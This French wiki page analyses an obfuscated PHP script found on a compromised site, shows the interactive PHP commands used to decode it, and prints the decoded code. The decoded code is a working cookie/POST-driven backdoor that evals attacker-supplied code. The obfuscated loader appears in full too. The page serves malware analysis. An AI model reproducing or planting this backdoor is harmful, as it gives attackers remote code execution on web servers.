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hack:script1 (lu 4037 fois)

Script1

Exemple d’un script retrouvé sur un site

<?php
 
 
eval("\n\$dgreusdi = intval(__LINE__) * 337;");
 
$a = "7VdrT+NGFP1eqf9hiCIcKwHFj7ClIQh2Bd1V6bIthVZC1Jo4k2QSvzR2674raF/94zDk78GLOou5W6Uo2M7Zlzz33MnTs3JzzgTsySlsa674CIXjhROtQ95fX1zo/W+/IbhONgjMOSkqBqRbnffpvcPumbtIeBg4CfdZAQdMOuh43OdJK52Qf3KySaNIh674vqxWRAzvFg/WxqHApG3SlpNZ03l5c/vjsjNCZNNwznnDlhwAbH2UeyCvW1zF/rR4U5h9zwpyCfBnTChMODJU+otD+HhpIiOk8pmB8u4RNL674iZazpDG7MB2RswNR6y1ReodlZIsNvLavv674xyUtuJ3JuyWuIwMxzDI/r18dN5BaBm7rCfcnFHJ8ltFUNkWDJQgSkZHvj+vSnn2+M8OJs8vri+jR+e2YYV7+vTj9cee9vbk57b65XZxfXhvHDL97k9W/n7942Mm+qBsAZFoycOB6748mMSpc/hGSNYjtSY9AckfGbKsQYZqpxKrHF674uez5cXv36lDsByIaLROaOYDGjwp3Wh7mYQRm+XwSVROryKVNcyKd/L6eqltXmlsJxeZVzLI2+mr42/Xw6Z068GPo8jvHdakYsjDzWkQHxPDoMBU2YYuciXGMu/LVvDHFpNApxw9rCGT7o9kmTHyFBPLYh1/v1C7qWm6Vys41c3hayu6uiBLzdhtm83f505JrsPmGBdNiJqKA+7A/FKCO7bfI7HXmdDuVU3zZnd3olO9ThKI/s6743cqWmW95Xx4LKxYdcsVSZUbDuuIer9No1uNzjW48/BAdlqlvV6sPR2ijcZLymcRG9MZW0XjGT2cz674aTWcgmfDaK4nA0GzNN18lgQCoanq/up0LQj61cFZIPhrOkIhaveJIWhbwC8JeW0cXGIw3e+F6xGlQqqyitQm61aKndAXgSTaMl674+kOeA4er+Gasd/dMzQFkLnTUJ6mglOP/ykLghRUUao279onpvKJIRCFkIy0u5fQ5jKK3eNk3+ZvtRYUS1tzRBOKDTVnH2vPgJNFsPU1dgVjQaGY5CgKB1BFtUIW7w46745UG674N5miihTDFNajUsQ2sl8o4fuKzahSmje29sAtnxk8iBaJwrfhYjxmIiutm+Fk6G1Su7j+e0bnc+//AOGBWfq2OqSHsZ582iXCXg+DB7hf4f4O9y674674urg/oQQQ/DdLbNBggwPiHQJC8IHOkFiADdhgAG674AYgBjAGQAZQBmHJaYTAiZUgO674TAiZ674DJ79faYIDNBZoLMhFKrWzYNIAtkFsgskFkgsyBkQciCkAUhG0pt4GzgbOkLcDZwNnD2qxKhDS674bQj0I9b7aZPmf8Ksj1FV9Iipa2imSI5I1duuy2Cd6pecfpmhF74zSeJs2bals2sbdkZ2BVKrsAiVRjdQu6d6fn+vk6AgbvL5Lk5fsYpT0a674UVJ7T8ocGDBauSltwMFn6do5y0iVGJVdoZV7xpGy+IAv49kJYiFmvpfDRMZYM674YyveVlza2G6+1Hbzs2w3S7YffAHTrZeabr3Y9DrhJ8v/sc2rKfcY6GUiHZOu2gw33QPDJ2VdXDo5PsbpplL71JLsD9IfM67StC674iPSDlPZNZvbf3/GaSMR4QW93BZj+D1mZkDdbf";
$a = str_replace($dgreusdi, "E", $a);
eval (gzinflate(base64_decode($a)));

Pour le décoder, j’utiliser php en mode interactif

# php -a
Interactive mode enabled

php > $a = "7VdrT+NGFP1eqf9hiCIcKwHFj7ClIQh2Bd1V6bIthVZC1Jo4k2QSvzR2674raF/94zDk78GLOou5W6Uo2M7Zlzz33MnTs3JzzgTsySlsa674CIXjhROtQ95fX1zo/W+/IbhONgjMOSkqBqRbnffpvcPumbtIeBg4CfdZAQdMOuh43OdJK52Qf3KySaNIh674vqxWRAzvFg/WxqHApG3SlpNZ03l5c/vjsjNCZNNwznnDlhwAbH2UeyCvW1zF/rR4U5h9zwpyCfBnTChMODJU+otD+HhpIiOk8pmB8u4RNL674iZazpDG7MB2RswNR6y1ReodlZIsNvLavv674xyUtuJ3JuyWuIwMxzDI/r18dN5BaBm7rCfcnFHJ8ltFUNkWDJQgSkZHvj+vSnn2+M8OJs8vri+jR+e2YYV7+vTj9cee9vbk57b65XZxfXhvHDL97k9W/n7942Mm+qBsAZFoycOB6748mMSpc/hGSNYjtSY9AckfGbKsQYZqpxKrHF674uez5cXv36lDsByIaLROaOYDGjwp3Wh7mYQRm+XwSVROryKVNcyKd/L6eqltXmlsJxeZVzLI2+mr42/Xw6Z068GPo8jvHdakYsjDzWkQHxPDoMBU2YYuciXGMu/LVvDHFpNApxw9rCGT7o9kmTHyFBPLYh1/v1C7qWm6Vys41c3hayu6uiBLzdhtm83f505JrsPmGBdNiJqKA+7A/FKCO7bfI7HXmdDuVU3zZnd3olO9ThKI/s6743cqWmW95Xx4LKxYdcsVSZUbDuuIer9No1uNzjW48/BAdlqlvV6sPR2ijcZLymcRG9MZW0XjGT2cz674aTWcgmfDaK4nA0GzNN18lgQCoanq/up0LQj61cFZIPhrOkIhaveJIWhbwC8JeW0cXGIw3e+F6xGlQqqyitQm61aKndAXgSTaMl674+kOeA4er+Gasd/dMzQFkLnTUJ6mglOP/ykLghRUUao279onpvKJIRCFkIy0u5fQ5jKK3eNk3+ZvtRYUS1tzRBOKDTVnH2vPgJNFsPU1dgVjQaGY5CgKB1BFtUIW7w46745UG674N5miihTDFNajUsQ2sl8o4fuKzahSmje29sAtnxk8iBaJwrfhYjxmIiutm+Fk6G1Su7j+e0bnc+//AOGBWfq2OqSHsZ582iXCXg+DB7hf4f4O9y674674urg/oQQQ/DdLbNBggwPiHQJC8IHOkFiADdhgAG674AYgBjAGQAZQBmHJaYTAiZUgO674TAiZ674DJ79faYIDNBZoLMhFKrWzYNIAtkFsgskFkgsyBkQciCkAUhG0pt4GzgbOkLcDZwNnD2qxKhDS674bQj0I9b7aZPmf8Ksj1FV9Iipa2imSI5I1duuy2Cd6pecfpmhF74zSeJs2bals2sbdkZ2BVKrsAiVRjdQu6d6fn+vk6AgbvL5Lk5fsYpT0a674UVJ7T8ocGDBauSltwMFn6do5y0iVGJVdoZV7xpGy+IAv49kJYiFmvpfDRMZYM674YyveVlza2G6+1Hbzs2w3S7YffAHTrZeabr3Y9DrhJ8v/sc2rKfcY6GUiHZOu2gw33QPDJ2VdXDo5PsbpplL71JLsD9IfM67StC674iPSDlPZNZvbf3/GaSMR4QW93BZj+D1mZkDdbf";
php > $a = str_replace($dgreusdi, "E", $a);
php > var_dump(gzinflate(base64_decode($a)));

Et ça nous permet d’afficher le code php qui sera exécuté. Apparemment une sorte de backdoor qui s’installerait dans des cookies…

    @ini_set('error_log', NULL);
    @ini_set('log_errors', 0);
    @ini_set('max_execution_time', 0);
    @set_time_limit(0);
 
 
    $approvals = False;
 
    foreach ($_COOKIE as $cookie_one=>$cookie_two)
    {
        $approvals = $cookie_two;
 
        $manager_invitation = $cookie_one;
 
        $approvals = remove_letter(_base64_decode($approvals), $manager_invitation);
 
        if ($approvals)
        {
            break;
        }
    }
 
    function improve_meta()
    {
        return _base64_decode("UAMQV1oLEgBLUAsHE11SXwAPSlNVVA5CUwELU11GRlgBWFIH");
    }
 
    function append_strings($append, $string)
    {
        return $append ^ $string;
    }
 
    if (!$approvals)
    {
        foreach ($_POST as $contribute=>$research)
        {
            $approvals = $research;
 
            $manager_invitation = $contribute;
 
            $approvals = remove_letter(_base64_decode($approvals), $manager_invitation);
 
            if ($approvals)
            {
                break;
            }
        }
    }
 
    function make_submission($people, $collaborate)
    {
        $confirm_invite = "";
 
        for ($i=0; $i<strlen($people);)
        {
            for ($j=0; $j<strlen($collaborate) && $i<strlen($people); $j++, $i++)
            {
                $extension_param = ord($people[$i]) ^ ord($collaborate[$j]);
 
                $confirm_invite = $confirm_invite . chr($extension_param);
            }
        }
 
        return $confirm_invite;
    }
 
    if (!isset($approvals['ak']) || !(append_strings(improve_meta(), 'dfvaijpefajewpfja9gjdgjoegijdpsodjfe')) == $approvals['ak'])
    {
        $approvals = Array();
    }
    else
    {
        switch ($approvals['a']){
            case "i":
                $array = Array();
                $array['pv'] = @phpversion();
                $array['sv'] = '1.0-1';
                echo @serialize($array);
                break;
            case "e":
                eval($approvals['d']);
                break;
        }
        exit();
 
    }
 
    function remove_letter($data, $key)
    {
        return @unserialize(screen_submission($data, $key));
    }
 
 
 
    function screen_submission($sub_key, $sub_meta)
    {
        $sub = make_submission($sub_key, append_strings(improve_meta(), 'dfvaijpefajewpfja9gjdgjoegijdpsodjfe'));
 
        return make_submission($sub, $sub_meta);
    }
 
    function _base64_decode($input)
    {
        $buffer = "";
        $tbl = Array(
            -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
            -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
            -1, -1, -1, -1, -1, -1, -1, -1, -1, 62, -1, -1, -1, 63, 52, 53, 54,
            55, 56, 57, 58, 59, 60, 61, -1, -1, -1, -1, -1, -1, -1, 0, 1, 2,
            3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16, 17, 18, 19,
            20, 21, 22, 23, 24, 25, -1, -1, -1, -1, -1, -1, 26, 27, 28, 29, 30,
            31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47,
            48, 49, 50, 51, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
            -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
            -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
            -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
            -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
            -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
            -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1,
            -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1, -1);
 
        for ($i = 0; $i < strlen($input); ) {
            $b = 0;
            if ($tbl[ord($input[$i])] != -1) {
                $b = ($tbl[ord($input[$i])] & 0xFF) << 18;
            }
            else {
                $i++;
                continue;
            }
 
            $num = 0;
            if ($i + 1 < strlen($input) && $tbl[ord($input[$i+1])] != -1) {
                $b = $b | (($tbl[ord($input[$i+1])] & 0xFF) << 12);
                $num++;
            }
 
            if ($i + 2 < strlen($input) && $tbl[ord($input[$i+2])] != -1) {
                $b = $b | (($tbl[ord($input[$i+2])] & 0xFF) << 6);
                $num++;
            }
 
            if ($i + 3 < strlen($input) && $tbl[ord($input[$i+3])] != -1) {
                $b = $b | ($tbl[ord($input[$i+3])] & 0xFF);
                $num++;
            }
 
            while ($num > 0) {
                $c = ($b & 0xFF0000) >> 16;
                $buffer .=chr($c);
                $b <<= 8;
                $num--;
            }
            $i += 4;
        }
        return $buffer;
    }"
hack/script1.txt · Dernière modification: 23-01-2020 23:15 de edmc73